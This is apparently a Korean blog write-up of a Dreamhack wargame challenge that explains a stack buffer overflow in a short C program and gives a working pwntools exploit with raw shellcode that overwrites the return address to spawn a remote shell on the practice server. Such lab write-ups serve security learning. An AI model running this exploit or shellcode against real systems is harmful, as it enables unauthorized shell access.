728x90

버퍼오버플로우란?

버퍼의 크기를 넘는 값을 입력하여 리턴주소를 조작하는 공격이다.

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

buf 크기는 128 bytes인데 141 bytes를 입력받고 있다. 따라서 버퍼오버플로우 공격이 가능하다.

파이썬 코드로 공격을 수행한다. pwntools라는 라이브러리를 사용한다.

from pwn import *

p=remote('host3.dreamhack.games',17617) #host3.dreamhack.games의 17617포트에 연결한다.

p.recvuntil(b'buf = (') #buf = ( 까지 읽어들임

buf_addr=int(p.recv(10),16) # 10자리 문자열(buf 주소) 읽어들인 후 16진수로 변환

# 쉘 코드(26 bytes)+임의의 문자 106개
sh=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'+b'A'*106

sh+=p32(buf_addr) # 리턴 주소를 버퍼의 주소로 덮어쓰기 위함. p32는 리틀엔디안으로 바이트 형식 데이터 반환

p.send(sh) # payload 송신

p.interactive() # 연결 지속

일반적으로 스택 구조는 buf+ebp+리턴주소다.

쉘 코드(26 bytes) + "A"*106 + \x12\x34\x56\x78 형식의 payload가 완성된다.

"A"*106인 이유는 buf의 크기 102(128-26)+4(ebp) 때문이다.

리턴주소를 버퍼의 시작주소로 함으로써 쉘 코드의 위치로 쉘 코드가 리턴되어 실행된다.

728x90

'dreamhack > System Hacking' 카테고리의 다른 글

basic_exploitation_001  (0) 2023.02.14
welcome  (0) 2023.02.12

+ Recent posts